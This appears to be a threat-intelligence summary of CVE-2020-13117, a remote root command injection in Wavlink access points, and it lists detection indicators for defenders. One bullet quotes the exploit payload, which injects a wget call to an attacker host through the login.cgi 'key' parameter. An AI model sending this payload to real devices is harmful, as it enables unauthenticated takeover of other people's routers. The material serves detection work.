Detection & IOCsextracted from sources · hover to see the quote
- →Look for POST requests to /cgi-bin/login.cgi containing shell metacharacters (backtick, semicolon, single-quote) in the 'key' parameter, indicating command injection attempts. ↗
- →The exploit payload URL-encodes shell injection: key=';`wget http://<attacker>;`;# — detect URL-encoded backtick (%60) and semicolon (%3B) sequences in the key parameter of login.cgi POST bodies. ↗
- →Wavlink devices exposed on the internet can be identified via Shodan using the title 'Wi-Fi APP Login'; monitor for exploitation attempts against such assets. ↗
- →Successful exploitation response body contains 'parent.location.replace' — use this as a response-side indicator when correlating with malicious login.cgi POST requests. ↗
- →GreyNoise tagged active in-the-wild scanning for this CVE as 'Wavlink CVE-2020-13117 RCE Attempt' — use GreyNoise tag filtering to identify scanning IPs. ↗
- ·The vulnerability affects multiple Wavlink device models; confirmed on WN575A4 and WN579X3, but WN530G3A and potentially other products are also listed as affected. ↗
- ·The injection is unauthenticated and executes as root, making network-exposed Wavlink login pages an immediate critical risk requiring no prior credentials. ↗

CVE-2020-13117 [CRITICAL] Wavlink Multiple AP - Remote Command Injection
Wavlink Multiple AP - Remote Command Injection
Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.
